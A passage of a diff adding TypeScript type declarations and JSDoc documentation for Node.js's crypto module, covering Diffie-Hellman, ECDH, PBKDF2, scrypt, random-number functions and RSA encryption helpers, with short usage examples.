generatorEncoding: BinaryToTextEncoding, + ): DiffieHellman; + /** + * The `DiffieHellman` class is a utility for creating Diffie-Hellman key + * exchanges. + * + * Instances of the `DiffieHellman` class can be created using the {@link createDiffieHellman} function. + * + * ```js + * import assert from 'node:assert'; + * + * const { + * createDiffieHellman, + * } = await import('node:crypto'); + * + * // Generate Alice's keys... + * const alice = createDiffieHellman(2048); + * const aliceKey = alice.generateKeys(); + * + * // Generate Bob's keys... + * const bob = createDiffieHellman(alice.getPrime(), alice.getGenerator()); + * const bobKey = bob.generateKeys(); + * + * // Exchange and generate the secret... + * const aliceSecret = alice.computeSecret(bobKey); + * const bobSecret = bob.computeSecret(aliceKey); + * + * // OK + * assert.strictEqual(aliceSecret.toString('hex'), bobSecret.toString('hex')); + * ``` + * @since v0.5.0 + */ + class DiffieHellman { + private constructor(); + /** + * Generates private and public Diffie-Hellman key values unless they have been + * generated or computed already, and returns + * the public key in the specified `encoding`. This key should be + * transferred to the other party. + * If `encoding` is provided a string is returned; otherwise a `Buffer` is returned. + * + * This function is a thin wrapper around [`DH_generate_key()`](https://www.openssl.org/docs/man3.0/man3/DH_generate_key.html). In particular, + * once a private key has been generated or set, calling this function only updates + * the public key but does not generate a new private key. + * @since v0.5.0 + * @param encoding The `encoding` of the return value. + */ + generateKeys(): Buffer; + generateKeys(encoding: BinaryToTextEncoding): string; + /** + * Computes the shared secret using `otherPublicKey` as the other + * party's public key and returns the computed shared secret. The supplied + * key is interpreted using the specified `inputEncoding`, and secret is + * encoded using specified `outputEncoding`. + * If the `inputEncoding` is not + * provided, `otherPublicKey` is expected to be a `Buffer`, `TypedArray`, or `DataView`. + * + * If `outputEncoding` is given a string is returned; otherwise, a `Buffer` is returned. + * @since v0.5.0 + * @param inputEncoding The `encoding` of an `otherPublicKey` string. + * @param outputEncoding The `encoding` of the return value. + */ + computeSecret(otherPublicKey: NodeJS.ArrayBufferView, inputEncoding?: null, outputEncoding?: null): Buffer; + computeSecret(otherPublicKey: string, inputEncoding: BinaryToTextEncoding, outputEncoding?: null): Buffer; + computeSecret( + otherPublicKey: NodeJS.ArrayBufferView, + inputEncoding: null, + outputEncoding: BinaryToTextEncoding, + ): string; + computeSecret( + otherPublicKey: string, + inputEncoding: BinaryToTextEncoding, + outputEncoding: BinaryToTextEncoding, + ): string; + /** + * Returns the Diffie-Hellman prime in the specified `encoding`. + * If `encoding` is provided a string is + * returned; otherwise a `Buffer` is returned. + * @since v0.5.0 + * @param encoding The `encoding` of the return value. + */ + getPrime(): Buffer; + getPrime(encoding: BinaryToTextEncoding): string; + /** + * Returns the Diffie-Hellman generator in the specified `encoding`. + * If `encoding` is provided a string is + * returned; otherwise a `Buffer` is returned. + * @since v0.5.0 + * @param encoding The `encoding` of the return value. + */ + getGenerator(): Buffer; + getGenerator(encoding: BinaryToTextEncoding): string; + /** + * Returns the Diffie-Hellman public key in the specified `encoding`. + * If `encoding` is provided a + * string is returned; otherwise a `Buffer` is returned. + * @since v0.5.0 + * @param encoding The `encoding` of the return value. + */ + getPublicKey(): Buffer; + getPublicKey(encoding: BinaryToTextEncoding): string; + /** + * Returns the Diffie-Hellman private key in the specified `encoding`. + * If `encoding` is provided a + * string is returned; otherwise a `Buffer` is returned. + * @since v0.5.0 + * @param encoding The `encoding` of the return value. + */ + getPrivateKey(): Buffer; + getPrivateKey(encoding: BinaryToTextEncoding): string; + /** + * Sets the Diffie-Hellman public key. If the `encoding` argument is provided, `publicKey` is expected + * to be a string. If no `encoding` is provided, `publicKey` is expected + * to be a `Buffer`, `TypedArray`, or `DataView`. + * @since v0.5.0 + * @param encoding The `encoding` of the `publicKey` string. + */ + setPublicKey(publicKey: NodeJS.ArrayBufferView): void; + setPublicKey(publicKey: string, encoding: BufferEncoding): void; + /** + * Sets the Diffie-Hellman private key. If the `encoding` argument is provided,`privateKey` is expected + * to be a string. If no `encoding` is provided, `privateKey` is expected + * to be a `Buffer`, `TypedArray`, or `DataView`. + * + * This function does not automatically compute the associated public key. Either `diffieHellman.setPublicKey()` or `diffieHellman.generateKeys()` can be + * used to manually provide the public key or to automatically derive it. + * @since v0.5.0 + * @param encoding The `encoding` of the `privateKey` string. + */ + setPrivateKey(privateKey: NodeJS.ArrayBufferView): void; + setPrivateKey(privateKey: string, encoding: BufferEncoding): void; + /** + * A bit field containing any warnings and/or errors resulting from a check + * performed during initialization of the `DiffieHellman` object. + * + * The following values are valid for this property (as defined in `node:constants` module): + * + * * `DH_CHECK_P_NOT_SAFE_PRIME` + * * `DH_CHECK_P_NOT_PRIME` + * * `DH_UNABLE_TO_CHECK_GENERATOR` + * * `DH_NOT_SUITABLE_GENERATOR` + * @since v0.11.12 + */ + verifyError: number; + } + /** + * The `DiffieHellmanGroup` class takes a well-known modp group as its argument. + * It works the same as `DiffieHellman`, except that it does not allow changing its keys after creation. + * In other words, it does not implement `setPublicKey()` or `setPrivateKey()` methods. + * + * ```js + * const { createDiffieHellmanGroup } = await import('node:crypto'); + * const dh = createDiffieHellmanGroup('modp1'); + * ``` + * The name (e.g. `'modp1'`) is taken from [RFC 2412](https://www.rfc-editor.org/rfc/rfc2412.txt) (modp1 and 2) and [RFC 3526](https://www.rfc-editor.org/rfc/rfc3526.txt): + * ```bash + * $ perl -ne 'print "$1\n" if /"(modp\d+)"/' src/node_crypto_groups.h + * modp1 # 768 bits + * modp2 # 1024 bits + * modp5 # 1536 bits + * modp14 # 2048 bits + * modp15 # etc. + * modp16 + * modp17 + * modp18 + * ``` + * @since v0.7.5 + */ + const DiffieHellmanGroup: DiffieHellmanGroupConstructor; + interface DiffieHellmanGroupConstructor { + new(name: string): DiffieHellmanGroup; + (name: string): DiffieHellmanGroup; + readonly prototype: DiffieHellmanGroup; + } + type DiffieHellmanGroup = Omit; + /** + * Creates a predefined `DiffieHellmanGroup` key exchange object. The + * supported groups are listed in the documentation for `DiffieHellmanGroup`. + * + * The returned object mimics the interface of objects created by {@link createDiffieHellman}, but will not allow changing + * the keys (with `diffieHellman.setPublicKey()`, for example). The + * advantage of using this method is that the parties do not have to + * generate nor exchange a group modulus beforehand, saving both processor + * and communication time. + * + * Example (obtaining a shared secret): + * + * ```js + * const { + * getDiffieHellman, + * } = await import('node:crypto'); + * const alice = getDiffieHellman('modp14'); + * const bob = getDiffieHellman('modp14'); + * + * alice.generateKeys(); + * bob.generateKeys(); + * + * const aliceSecret = alice.computeSecret(bob.getPublicKey(), null, 'hex'); + * const bobSecret = bob.computeSecret(alice.getPublicKey(), null, 'hex'); + * + * // aliceSecret and bobSecret should be the same + * console.log(aliceSecret === bobSecret); + * ``` + * @since v0.7.5 + */ + function getDiffieHellman(groupName: string): DiffieHellmanGroup; + /** + * An alias for {@link getDiffieHellman} + * @since v0.9.3 + */ + function createDiffieHellmanGroup(name: string): DiffieHellmanGroup; + /** + * Provides an asynchronous Password-Based Key Derivation Function 2 (PBKDF2) + * implementation. A selected HMAC digest algorithm specified by `digest` is + * applied to derive a key of the requested byte length (`keylen`) from the `password`, `salt` and `iterations`. + * + * The supplied `callback` function is called with two arguments: `err` and `derivedKey`. If an error occurs while deriving the key, `err` will be set; + * otherwise `err` will be `null`. By default, the successfully generated `derivedKey` will be passed to the callback as a `Buffer`. An error will be + * thrown if any of the input arguments specify invalid values or types. + * + * The `iterations` argument must be a number set as high as possible. The + * higher the number of iterations, the more secure the derived key will be, + * but will take a longer amount of time to complete. + * + * The `salt` should be as unique as possible. It is recommended that a salt is + * random and at least 16 bytes long. See [NIST SP 800-132](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf) for details. + * + * When passing strings for `password` or `salt`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * ```js + * const { + * pbkdf2, + * } = await import('node:crypto'); + * + * pbkdf2('secret', 'salt', 100000, 64, 'sha512', (err, derivedKey) => { + * if (err) throw err; + * console.log(derivedKey.toString('hex')); // '3745e48...08d59ae' + * }); + * ``` + * + * An array of supported digest functions can be retrieved using {@link getHashes}. + * + * This API uses libuv's threadpool, which can have surprising and + * negative performance implications for some applications; see the `UV_THREADPOOL_SIZE` documentation for more information. + * @since v0.5.5 + */ + function pbkdf2( + password: BinaryLike, + salt: BinaryLike, + iterations: number, + keylen: number, + digest: string, + callback: (err: Error | null, derivedKey: Buffer) => void, + ): void; + /** + * Provides a synchronous Password-Based Key Derivation Function 2 (PBKDF2) + * implementation. A selected HMAC digest algorithm specified by `digest` is + * applied to derive a key of the requested byte length (`keylen`) from the `password`, `salt` and `iterations`. + * + * If an error occurs an `Error` will be thrown, otherwise the derived key will be + * returned as a `Buffer`. + * + * The `iterations` argument must be a number set as high as possible. The + * higher the number of iterations, the more secure the derived key will be, + * but will take a longer amount of time to complete. + * + * The `salt` should be as unique as possible. It is recommended that a salt is + * random and at least 16 bytes long. See [NIST SP 800-132](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf) for details. + * + * When passing strings for `password` or `salt`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * ```js + * const { + * pbkdf2Sync, + * } = await import('node:crypto'); + * + * const key = pbkdf2Sync('secret', 'salt', 100000, 64, 'sha512'); + * console.log(key.toString('hex')); // '3745e48...08d59ae' + * ``` + * + * An array of supported digest functions can be retrieved using {@link getHashes}. + * @since v0.9.3 + */ + function pbkdf2Sync( + password: BinaryLike, + salt: BinaryLike, + iterations: number, + keylen: number, + digest: string, + ): Buffer; + /** + * Generates cryptographically strong pseudorandom data. The `size` argument + * is a number indicating the number of bytes to generate. + * + * If a `callback` function is provided, the bytes are generated asynchronously + * and the `callback` function is invoked with two arguments: `err` and `buf`. + * If an error occurs, `err` will be an `Error` object; otherwise it is `null`. The `buf` argument is a `Buffer` containing the generated bytes. + * + * ```js + * // Asynchronous + * const { + * randomBytes, + * } = await import('node:crypto'); + * + * randomBytes(256, (err, buf) => { + * if (err) throw err; + * console.log(`${buf.length} bytes of random data: ${buf.toString('hex')}`); + * }); + * ``` + * + * If the `callback` function is not provided, the random bytes are generated + * synchronously and returned as a `Buffer`. An error will be thrown if + * there is a problem generating the bytes. + * + * ```js + * // Synchronous + * const { + * randomBytes, + * } = await import('node:crypto'); + * + * const buf = randomBytes(256); + * console.log( + * `${buf.length} bytes of random data: ${buf.toString('hex')}`); + * ``` + * + * The `crypto.randomBytes()` method will not complete until there is + * sufficient entropy available. + * This should normally never take longer than a few milliseconds. The only time + * when generating the random bytes may conceivably block for a longer period of + * time is right after boot, when the whole system is still low on entropy. + * + * This API uses libuv's threadpool, which can have surprising and + * negative performance implications for some applications; see the `UV_THREADPOOL_SIZE` documentation for more information. + * + * The asynchronous version of `crypto.randomBytes()` is carried out in a single + * threadpool request. To minimize threadpool task length variation, partition + * large `randomBytes` requests when doing so as part of fulfilling a client + * request. + * @since v0.5.8 + * @param size The number of bytes to generate. The `size` must not be larger than `2**31 - 1`. + * @return if the `callback` function is not provided. + */ + function randomBytes(size: number): Buffer; + function randomBytes(size: number, callback: (err: Error | null, buf: Buffer) => void): void; + function pseudoRandomBytes(size: number): Buffer; + function pseudoRandomBytes(size: number, callback: (err: Error | null, buf: Buffer) => void): void; + /** + * Return a random integer `n` such that `min <= n < max`. This + * implementation avoids [modulo bias](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle#Modulo_bias). + * + * The range (`max - min`) must be less than 2**48. `min` and `max` must + * be [safe integers](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger). + * + * If the `callback` function is not provided, the random integer is + * generated synchronously. + * + * ```js + * // Asynchronous + * const { + * randomInt, + * } = await import('node:crypto'); + * + * randomInt(3, (err, n) => { + * if (err) throw err; + * console.log(`Random number chosen from (0, 1, 2): ${n}`); + * }); + * ``` + * + * ```js + * // Synchronous + * const { + * randomInt, + * } = await import('node:crypto'); + * + * const n = randomInt(3); + * console.log(`Random number chosen from (0, 1, 2): ${n}`); + * ``` + * + * ```js + * // With `min` argument + * const { + * randomInt, + * } = await import('node:crypto'); + * + * const n = randomInt(1, 7); + * console.log(`The dice rolled: ${n}`); + * ``` + * @since v14.10.0, v12.19.0 + * @param [min=0] Start of random range (inclusive). + * @param max End of random range (exclusive). + * @param callback `function(err, n) {}`. + */ + function randomInt(max: number): number; + function randomInt(min: number, max: number): number; + function randomInt(max: number, callback: (err: Error | null, value: number) => void): void; + function randomInt(min: number, max: number, callback: (err: Error | null, value: number) => void): void; + /** + * Synchronous version of {@link randomFill}. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { randomFillSync } = await import('node:crypto'); + * + * const buf = Buffer.alloc(10); + * console.log(randomFillSync(buf).toString('hex')); + * + * randomFillSync(buf, 5); + * console.log(buf.toString('hex')); + * + * // The above is equivalent to the following: + * randomFillSync(buf, 5, 5); + * console.log(buf.toString('hex')); + * ``` + * + * Any `ArrayBuffer`, `TypedArray` or `DataView` instance may be passed as`buffer`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { randomFillSync } = await import('node:crypto'); + * + * const a = new Uint32Array(10); + * console.log(Buffer.from(randomFillSync(a).buffer, + * a.byteOffset, a.byteLength).toString('hex')); + * + * const b = new DataView(new ArrayBuffer(10)); + * console.log(Buffer.from(randomFillSync(b).buffer, + * b.byteOffset, b.byteLength).toString('hex')); + * + * const c = new ArrayBuffer(10); + * console.log(Buffer.from(randomFillSync(c)).toString('hex')); + * ``` + * @since v7.10.0, v6.13.0 + * @param buffer Must be supplied. The size of the provided `buffer` must not be larger than `2**31 - 1`. + * @param [offset=0] + * @param [size=buffer.length - offset] + * @return The object passed as `buffer` argument. + */ + function randomFillSync(buffer: T, offset?: number, size?: number): T; + /** + * This function is similar to {@link randomBytes} but requires the first + * argument to be a `Buffer` that will be filled. It also + * requires that a callback is passed in. + * + * If the `callback` function is not provided, an error will be thrown. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { randomFill } = await import('node:crypto'); + * + * const buf = Buffer.alloc(10); + * randomFill(buf, (err, buf) => { + * if (err) throw err; + * console.log(buf.toString('hex')); + * }); + * + * randomFill(buf, 5, (err, buf) => { + * if (err) throw err; + * console.log(buf.toString('hex')); + * }); + * + * // The above is equivalent to the following: + * randomFill(buf, 5, 5, (err, buf) => { + * if (err) throw err; + * console.log(buf.toString('hex')); + * }); + * ``` + * + * Any `ArrayBuffer`, `TypedArray`, or `DataView` instance may be passed as `buffer`. + * + * While this includes instances of `Float32Array` and `Float64Array`, this + * function should not be used to generate random floating-point numbers. The + * result may contain `+Infinity`, `-Infinity`, and `NaN`, and even if the array + * contains finite numbers only, they are not drawn from a uniform random + * distribution and have no meaningful lower or upper bounds. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { randomFill } = await import('node:crypto'); + * + * const a = new Uint32Array(10); + * randomFill(a, (err, buf) => { + * if (err) throw err; + * console.log(Buffer.from(buf.buffer, buf.byteOffset, buf.byteLength) + * .toString('hex')); + * }); + * + * const b = new DataView(new ArrayBuffer(10)); + * randomFill(b, (err, buf) => { + * if (err) throw err; + * console.log(Buffer.from(buf.buffer, buf.byteOffset, buf.byteLength) + * .toString('hex')); + * }); + * + * const c = new ArrayBuffer(10); + * randomFill(c, (err, buf) => { + * if (err) throw err; + * console.log(Buffer.from(buf).toString('hex')); + * }); + * ``` + * + * This API uses libuv's threadpool, which can have surprising and + * negative performance implications for some applications; see the `UV_THREADPOOL_SIZE` documentation for more information. + * + * The asynchronous version of `crypto.randomFill()` is carried out in a single + * threadpool request. To minimize threadpool task length variation, partition + * large `randomFill` requests when doing so as part of fulfilling a client + * request. + * @since v7.10.0, v6.13.0 + * @param buffer Must be supplied. The size of the provided `buffer` must not be larger than `2**31 - 1`. + * @param [offset=0] + * @param [size=buffer.length - offset] + * @param callback `function(err, buf) {}`. + */ + function randomFill( + buffer: T, + callback: (err: Error | null, buf: T) => void, + ): void; + function randomFill( + buffer: T, + offset: number, + callback: (err: Error | null, buf: T) => void, + ): void; + function randomFill( + buffer: T, + offset: number, + size: number, + callback: (err: Error | null, buf: T) => void, + ): void; + interface ScryptOptions { + cost?: number | undefined; + blockSize?: number | undefined; + parallelization?: number | undefined; + N?: number | undefined; + r?: number | undefined; + p?: number | undefined; + maxmem?: number | undefined; + } + /** + * Provides an asynchronous [scrypt](https://en.wikipedia.org/wiki/Scrypt) implementation. Scrypt is a password-based + * key derivation function that is designed to be expensive computationally and + * memory-wise in order to make brute-force attacks unrewarding. + * + * The `salt` should be as unique as possible. It is recommended that a salt is + * random and at least 16 bytes long. See [NIST SP 800-132](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf) for details. + * + * When passing strings for `password` or `salt`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * The `callback` function is called with two arguments: `err` and `derivedKey`. `err` is an exception object when key derivation fails, otherwise `err` is `null`. `derivedKey` is passed to the + * callback as a `Buffer`. + * + * An exception is thrown when any of the input arguments specify invalid values + * or types. + * + * ```js + * const { + * scrypt, + * } = await import('node:crypto'); + * + * // Using the factory defaults. + * scrypt('password', 'salt', 64, (err, derivedKey) => { + * if (err) throw err; + * console.log(derivedKey.toString('hex')); // '3745e48...08d59ae' + * }); + * // Using a custom N parameter. Must be a power of two. + * scrypt('password', 'salt', 64, { N: 1024 }, (err, derivedKey) => { + * if (err) throw err; + * console.log(derivedKey.toString('hex')); // '3745e48...aa39b34' + * }); + * ``` + * @since v10.5.0 + */ + function scrypt( + password: BinaryLike, + salt: BinaryLike, + keylen: number, + callback: (err: Error | null, derivedKey: Buffer) => void, + ): void; + function scrypt( + password: BinaryLike, + salt: BinaryLike, + keylen: number, + options: ScryptOptions, + callback: (err: Error | null, derivedKey: Buffer) => void, + ): void; + /** + * Provides a synchronous [scrypt](https://en.wikipedia.org/wiki/Scrypt) implementation. Scrypt is a password-based + * key derivation function that is designed to be expensive computationally and + * memory-wise in order to make brute-force attacks unrewarding. + * + * The `salt` should be as unique as possible. It is recommended that a salt is + * random and at least 16 bytes long. See [NIST SP 800-132](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf) for details. + * + * When passing strings for `password` or `salt`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * An exception is thrown when key derivation fails, otherwise the derived key is + * returned as a `Buffer`. + * + * An exception is thrown when any of the input arguments specify invalid values + * or types. + * + * ```js + * const { + * scryptSync, + * } = await import('node:crypto'); + * // Using the factory defaults. + * + * const key1 = scryptSync('password', 'salt', 64); + * console.log(key1.toString('hex')); // '3745e48...08d59ae' + * // Using a custom N parameter. Must be a power of two. + * const key2 = scryptSync('password', 'salt', 64, { N: 1024 }); + * console.log(key2.toString('hex')); // '3745e48...aa39b34' + * ``` + * @since v10.5.0 + */ + function scryptSync(password: BinaryLike, salt: BinaryLike, keylen: number, options?: ScryptOptions): Buffer; + interface RsaPublicKey { + key: KeyLike; + padding?: number | undefined; + } + interface RsaPrivateKey { + key: KeyLike; + passphrase?: string | undefined; + /** + * @default 'sha1' + */ + oaepHash?: string | undefined; + oaepLabel?: NodeJS.TypedArray | undefined; + padding?: number | undefined; + } + /** + * Encrypts the content of `buffer` with `key` and returns a new `Buffer` with encrypted content. The returned data can be decrypted using + * the corresponding private key, for example using {@link privateDecrypt}. + * + * If `key` is not a `KeyObject`, this function behaves as if `key` had been passed to {@link createPublicKey}. If it is an + * object, the `padding` property can be passed. Otherwise, this function uses `RSA_PKCS1_OAEP_PADDING`. + * + * Because RSA public keys can be derived from private keys, a private key may + * be passed instead of a public key. + * @since v0.11.14 + */ + function publicEncrypt(key: RsaPublicKey | RsaPrivateKey | KeyLike, buffer: NodeJS.ArrayBufferView): Buffer; + /** + * Decrypts `buffer` with `key`.`buffer` was previously encrypted using + * the corresponding private key, for example using {@link privateEncrypt}. + * + * If `key` is not a `KeyObject`, this function behaves as if `key` had been passed to {@link createPublicKey}. If it is an + * object, the `padding` property can be passed. Otherwise, this function uses `RSA_PKCS1_PADDING`. + * + * Because RSA public keys can be derived from private keys, a private key may + * be passed instead of a public key. + * @since v1.1.0 + */ + function publicDecrypt(key: RsaPublicKey | RsaPrivateKey | KeyLike, buffer: NodeJS.ArrayBufferView): Buffer; + /** + * Decrypts `buffer` with `privateKey`. `buffer` was previously encrypted using + * the corresponding public key, for example using {@link publicEncrypt}. + * + * If `privateKey` is not a `KeyObject`, this function behaves as if `privateKey` had been passed to {@link createPrivateKey}. If it is an + * object, the `padding` property can be passed. Otherwise, this function uses `RSA_PKCS1_OAEP_PADDING`. + * @since v0.11.14 + */ + function privateDecrypt(privateKey: RsaPrivateKey | KeyLike, buffer: NodeJS.ArrayBufferView): Buffer; + /** + * Encrypts `buffer` with `privateKey`. The returned data can be decrypted using + * the corresponding public key, for example using {@link publicDecrypt}. + * + * If `privateKey` is not a `KeyObject`, this function behaves as if `privateKey` had been passed to {@link createPrivateKey}. If it is an + * object, the `padding` property can be passed. Otherwise, this function uses `RSA_PKCS1_PADDING`. + * @since v1.1.0 + */ + function privateEncrypt(privateKey: RsaPrivateKey | KeyLike, buffer: NodeJS.ArrayBufferView): Buffer; + /** + * ```js + * const { + * getCiphers, + * } = await import('node:crypto'); + * + * console.log(getCiphers()); // ['aes-128-cbc', 'aes-128-ccm', ...] + * ``` + * @since v0.9.3 + * @return An array with the names of the supported cipher algorithms. + */ + function getCiphers(): string[]; + /** + * ```js + * const { + * getCurves, + * } = await import('node:crypto'); + * + * console.log(getCurves()); // ['Oakley-EC2N-3', 'Oakley-EC2N-4', ...] + * ``` + * @since v2.3.0 + * @return An array with the names of the supported elliptic curves. + */ + function getCurves(): string[]; + /** + * @since v10.0.0 + * @return `1` if and only if a FIPS compliant crypto provider is currently in use, `0` otherwise. A future semver-major release may change the return type of this API to a {boolean}. + */ + function getFips(): 1 | 0; + /** + * Enables the FIPS compliant crypto provider in a FIPS-enabled Node.js build. + * Throws an error if FIPS mode is not available. + * @since v10.0.0 + * @param bool `true` to enable FIPS mode. + */ + function setFips(bool: boolean): void; + /** + * ```js + * const { + * getHashes, + * } = await import('node:crypto'); + * + * console.log(getHashes()); // ['DSA', 'DSA-SHA', 'DSA-SHA1', ...] + * ``` + * @since v0.9.3 + * @return An array of the names of the supported hash algorithms, such as `'RSA-SHA256'`. Hash algorithms are also called "digest" algorithms. + */ + function getHashes(): string[]; + /** + * The `ECDH` class is a utility for creating Elliptic Curve Diffie-Hellman (ECDH) + * key exchanges. + * + * Instances of the `ECDH` class can be created using the {@link createECDH} function. + * + * ```js + * import assert from 'node:assert'; + * + * const { + * createECDH, + * } = await import('node:crypto'); + * + * // Generate Alice's keys... + * const alice = createECDH('secp521r1'); + * const aliceKey = alice.generateKeys(); + * + * // Generate Bob's keys... + * const bob = createECDH('secp521r1'); + * const bobKey = bob.generateKeys(); + * + * // Exchange and generate the secret... + * const aliceSecret = alice.computeSecret(bobKey); + * const bobSecret = bob.computeSecret(aliceKey); + * + * assert.strictEqual(aliceSecret.toString('hex'), bobSecret.toString('hex')); + * // OK + * ``` + * @since v0.11.14 + */ + class ECDH { + private constructor(); + /** + * Converts the EC Diffie-Hellman public key specified by `key` and `curve` to the + * format specified by `format`. The `format` argument specifies point encoding + * and can be `'compressed'`, `'uncompressed'` or `'hybrid'`. The supplied key is + * interpreted using the specified `inputEncoding`, and the returned key is encoded + * using the specified `outputEncoding`. + * + * Use {@link getCurves} to obtain a list of available curve names. + * On recent OpenSSL releases, `openssl ecparam -list_curves` will also display + * the name and description of each available elliptic curve. + * + * If `format` is not specified the point will be returned in `'uncompressed'` format. + * + * If the `inputEncoding` is not provided, `key` is expected to be a `Buffer`, `TypedArray`, or `DataView`. + * + * Example (uncompressing a key): + * + * ```js + * const { + * createECDH, + * ECDH, + * } = await import('node:crypto'); + * + * const ecdh = createECDH('secp256k1'); + * ecdh.generateKeys(); + * + * const compressedKey = ecdh.getPublicKey('hex', 'compressed'); + * + * const uncompressedKey = ECDH.convertKey(compressedKey, + * 'secp256k1', + * 'hex', + * 'hex', + * 'uncompressed'); + * + * // The converted key and the uncompressed public key should be the same + * console.log(uncompressedKey === ecdh.getPublicKey('hex')); + * ``` + * @since v10.0.0 + * @param inputEncoding The `encoding` of the `key` string. + * @param outputEncoding The `encoding` of the return value. + * @param [format='uncompressed'] + */ + static convertKey( + key: BinaryLike, + curve: string, + inputEncoding?: BinaryToTextEncoding, + outputEncoding?: "latin1" | "hex" | "base64" | "base64url", + format?: "uncompressed" | "compressed" | "hybrid", + ): Buffer | string; + /** + * Generates private and public EC Diffie-Hellman key values, and returns + * the public key in the specified `format` and `encoding`. This key should be + * transferred to the other party. + * + * The `format` argument specifies point encoding and can be `'compressed'` or `'uncompressed'`. If `format` is not specified, the point will be returned in`'uncompressed'` format. + * + * If `encoding` is provided a string is returned; otherwise a `Buffer` is returned. + * @since v0.11.14 + * @param encoding The `encoding` of the return value. + * @param [format='uncompressed'] + */ + generateKeys(): Buffer; + generateKeys(encoding: BinaryToTextEncoding, format?: ECDHKeyFormat): string; + /** + * Computes the shared secret using `otherPublicKey` as the other + * party's public key and returns the computed shared secret. The supplied + * key is interpreted using specified `inputEncoding`, and the returned secret + * is encoded using the specified `outputEncoding`. + * If the `inputEncoding` is not + * provided, `otherPublicKey` is expected to be a `Buffer`, `TypedArray`, or `DataView`. + * + * If `outputEncoding` is given a string will be returned; otherwise a `Buffer` is returned. + * + * `ecdh.computeSecret` will throw an`ERR_CRYPTO_ECDH_INVALID_PUBLIC_KEY` error when `otherPublicKey` lies outside of the elliptic curve. Since `otherPublicKey` is + * usually supplied from a remote user over an insecure network, + * be sure to handle this exception accordingly. + * @since v0.11.14 + * @param inputEncoding The `encoding` of the `otherPublicKey` string. + * @param outputEncoding The `encoding` of the return value. + */ + computeSecret(otherPublicKey: NodeJS.ArrayBufferView): Buffer; + computeSecret(otherPublicKey: string, inputEncoding: BinaryToTextEncoding): Buffer; + computeSecret(otherPublicKey: NodeJS.ArrayBufferView, outputEncoding: BinaryToTextEncoding): string; + computeSecret( + otherPublicKey: string, + inputEncoding: BinaryToTextEncoding, + outputEncoding: BinaryToTextEncoding, + ): string; + /** + * If `encoding` is specified, a string is returned; otherwise a `Buffer` is + * returned. + * @since v0.11.14 + * @param encoding The `encoding` of the return value. + * @return The EC Diffie-Hellman in the specified `encoding`. + */ + getPrivateKey(): Buffer; + getPrivateKey(encoding: BinaryToTextEncoding): string; + /** + * The `format` argument specifies point encoding and can be `'compressed'` or `'uncompressed'`. If `format` is not specified the point will be returned in`'uncompressed'` format. + * + * If `encoding` is specified, a string is returned; otherwise a `Buffer` is + * returned. + * @since v0.11.14 + * @param encoding The `encoding` of the return value. + * @param [format='uncompressed'] + * @return The EC Diffie-Hellman public key in the specified `encoding` and `format`. + */ + getPublicKey(encoding?: null, format?: ECDHKeyFormat): Buffer; + getPublicKey(encoding: BinaryToTextEncoding, format?: ECDHKeyFormat): string; + /** + * Sets the EC Diffie-Hellman private key. + * If `encoding` is provided, `privateKey` is expected + * to be a string; otherwise `privateKey` is expected to be a `Buffer`, `TypedArray`, or `DataView`. + * + * If `privateKey` is not valid for the curve specified when the `ECDH` object was + * created, an error is thrown. Upon setting the private key, the associated + * public point (key) is also generated and set in the `ECDH` object. + * @since v0.11.14 + * @param encoding The `encoding` of the `privateKey` string. + */ + setPrivateKey(privateKey: NodeJS.ArrayBufferView): void; + setPrivateKey(privateKey: string, encoding: BinaryToTextEncoding): void; + } + /** + * Creates an Elliptic Curve Diffie-Hellman (`ECDH`) key exchange object using a + * predefined curve specified by the `curveName` string. Use {@link getCurves} to obtain a list of available curve names. On recent + * OpenSSL releases, `openssl ecparam -list_curves` will also display the name + * and description of each available elliptic curve. + * @since v0.11.14 + */ + function createECDH(curveName: string): ECDH; + /** + * This function compares the underlying bytes that represent the given `ArrayBuffer`, `TypedArray`, or `DataView` instances using a constant-time + * algorithm. + * + * This function does not leak timing information that + * would allow an attacker to guess one of the values. This is suitable for + * comparing HMAC digests or secret values like authentication cookies or [capability urls](https://www.w3.org/TR/capability-urls/). + * + * `a` and `b` must both be `Buffer`s, `TypedArray`s, or `DataView`s, and they + * must have the same byte length. An error is thrown if `a` and `b` have + * different byte lengths. + * + * If at least one of `a` and `b` is a `TypedArray` with more than one byte per + * entry, such as `Uint16Array`, the result will be computed using the platform + * byte order. + * + * **When both of the inputs are `Float32Array`s or `Float64Array`s, this function might return unexpected results due to IEEE 754** + * **encoding of floating-point numbers. In particular, neither `x === y` nor `Object.is(x, y)` implies that the byte representations of two floating-point** + * **numbers `x` and `y` are equal.** + * + * Use of `crypto.timingSafeEqual` does not guarantee that the _surrounding_ code + * is timing-safe. Care should be taken to ensure that the surrounding code does + * not introduce timing vulnerabilities. + * @since v6.6.0 + */ + function timingSafeEqual(a: NodeJS.ArrayBufferView, b: NodeJS.ArrayBufferView): boolean; + type KeyType = "rsa" | "rsa-pss" | "dsa" | "ec" | "ed25519" | "ed448" | "x25519" | "x448"; + type KeyFormat = "pem" | "der" | "jwk"; + interface BasePrivateKeyEncodingOptions { + format: T; + cipher?: string | undefined; + passphrase?: string | undefined; + } + interface KeyPairKeyObjectResult { + publicKey: KeyObject; + privateKey: KeyObject; + } + interface ED25519KeyPairKeyObjectOptions {} + interface ED448KeyPairKeyObjectOptions {} + interface X25519KeyPairKeyObjectOptions {} + interface X448KeyPairKeyObjectOptions {} + interface ECKeyPairKeyObjectOptions { + /** + * Name of the curve to use + */ + namedCurve: string; + /** + * Must be `'named'` or `'explicit'`. Default: `'named'`. + */ + paramEncoding?: "explicit" | "named" | undefined; + } + interface RSAKeyPairKeyObjectOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Public exponent + * @default 0x10001 + */ + publicExponent?: number | undefined; + 